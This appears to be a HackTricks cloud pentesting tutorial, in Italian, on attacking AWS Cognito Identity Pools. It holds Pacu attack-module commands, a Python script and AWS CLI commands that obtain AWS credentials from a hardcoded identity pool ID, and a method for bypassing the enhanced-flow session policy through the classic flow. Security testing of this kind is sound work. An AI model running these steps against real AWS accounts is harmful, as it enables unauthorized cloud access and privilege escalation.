Cognito Identity Pools

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di Base

Le identity pools svolgono un ruolo cruciale consentendo ai tuoi utenti di acquisire credenziali temporanee. Queste credenziali sono essenziali per accedere a vari servizi AWS, inclusi, ma non limitati a, Amazon S3 e DynamoDB. Una caratteristica notevole delle identity pools è il loro supporto sia per utenti ospiti anonimi che per una gamma di provider di identità per l'autenticazione degli utenti. I provider di identità supportati includono:

  • Amazon Cognito user pools
  • Opzioni di accesso sociale come Facebook, Google, Login with Amazon e Sign in with Apple
  • Provider conformi a OpenID Connect (OIDC)
  • Provider di identità SAML (Security Assertion Markup Language)
  • Identità autenticate dagli sviluppatori
python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Per generare sessioni di Identity Pool, è necessario prima generare un Identity ID. Questo Identity ID è l'identificazione della sessione di quell'utente. Queste identificazioni possono avere fino a 20 dataset che possono memorizzare fino a 1MB di coppie chiave-valore.

Questo è utile per mantenere informazioni su un utente (che utilizzerà sempre lo stesso Identity ID).

Inoltre, il servizio cognito-sync è il servizio che consente di gestire e sincronizzare queste informazioni (nei dataset, inviando informazioni in stream e messaggi SNS...).

Tools for pentesting

  • Pacu, il framework di sfruttamento AWS, ora include i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali di pool di identità utilizzabili, ruoli assunti nei token id, ecc.

Per una descrizione delle funzioni dei moduli vedere la parte 2 del blog post. Per le istruzioni di installazione vedere la pagina principale di Pacu.

Usage

Esempio di utilizzo di cognito__attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato identity pool e client di user pool:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione non desiderata di account e l'escalation dei pool di identità.

Installazione

bash
$ pip install cognito-scanner

Utilizzo

bash
$ cognito-scanner --help

Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

Accesso ai ruoli IAM

Non autenticato

L'unica cosa che un attaccante deve sapere per ottenere credenziali AWS in un'app Cognito come utente non autenticato è il ID del pool di identità, e questo ID deve essere hardcoded nell'applicazione web/mobile per poterlo utilizzare. Un ID appare così: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (non è bruteforceabile).

tip

Il ruolo IAM Cognito non autenticato creato tramite è chiamato per impostazione predefinita Cognito_<Nome del pool di identità>Unauth_Role

Se trovi un ID del pool di identità hardcoded e consente utenti non autenticati, puoi ottenere credenziali AWS con:

python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Oppure puoi utilizzare i seguenti aws cli commands:

bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

warning

Nota che per impostazione predefinita un cognito utente non autenticato NON PUÒ avere alcun permesso, anche se assegnato tramite una policy. Controlla la sezione seguente.

Flusso di autenticazione avanzato vs di base

La sezione precedente ha seguito il flusso di autenticazione avanzato predefinito. Questo flusso imposta una policy di sessione ristrettiva per la sessione del ruolo IAM generato. Questa policy permetterà solo alla sessione di utilizzare i servizi di questo elenco (anche se il ruolo aveva accesso ad altri servizi).

Tuttavia, c'è un modo per bypassare questo, se il pool di identità ha abilitato il "Flusso di base (classico)", l'utente sarà in grado di ottenere una sessione utilizzando quel flusso che non avrà quella policy di sessione restrittiva.

bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

warning

Se ricevi questo errore, è perché il flusso di base non è abilitato (predefinito)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Avendo un insieme di credenziali IAM, dovresti controllare quali accessi hai e provare a escalare i privilegi.

Autenticato

note

Ricorda che gli utenti autenticati probabilmente avranno permessi diversi, quindi se puoi registrarti all'interno dell'app, prova a farlo e ottieni le nuove credenziali.

Potrebbero esserci anche ruoli disponibili per gli utenti autenticati che accedono al Pool di Identità.

Per questo potresti aver bisogno di avere accesso al fornitore di identità. Se si tratta di un Cognito User Pool, forse puoi sfruttare il comportamento predefinito e creare un nuovo utente tu stesso.

tip

Il ruolo IAM Cognito autenticato creato tramite si chiama per impostazione predefinita Cognito_<Nome del Pool di Identità>Auth_Role

Comunque, il seguente esempio presuppone che tu sia già loggato all'interno di un Cognito User Pool utilizzato per accedere al Pool di Identità (non dimenticare che potrebbero essere configurati anche altri tipi di fornitori di identità).

aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

# Ottieni l'identity_id dalla risposta del comando precedente
aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=


# Nell'IdToken puoi trovare i ruoli a cui un utente ha accesso grazie ai Gruppi del User Pool
# Usa il --custom-role-arn per ottenere credenziali per un ruolo specifico
aws cognito-identity get-credentials-for-identity \
--identity-id  \
    --custom-role-arn  \
    --logins cognito-idp..amazonaws.com/=

warning

È possibile configurare ruoli IAM diversi a seconda del fornitore di identità con cui l'utente è loggato o anche semplicemente a seconda dell'utente (utilizzando le affermazioni). Pertanto, se hai accesso a diversi utenti tramite lo stesso o diversi fornitori, potrebbe valere la pena effettuare il login e accedere ai ruoli IAM di tutti loro.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks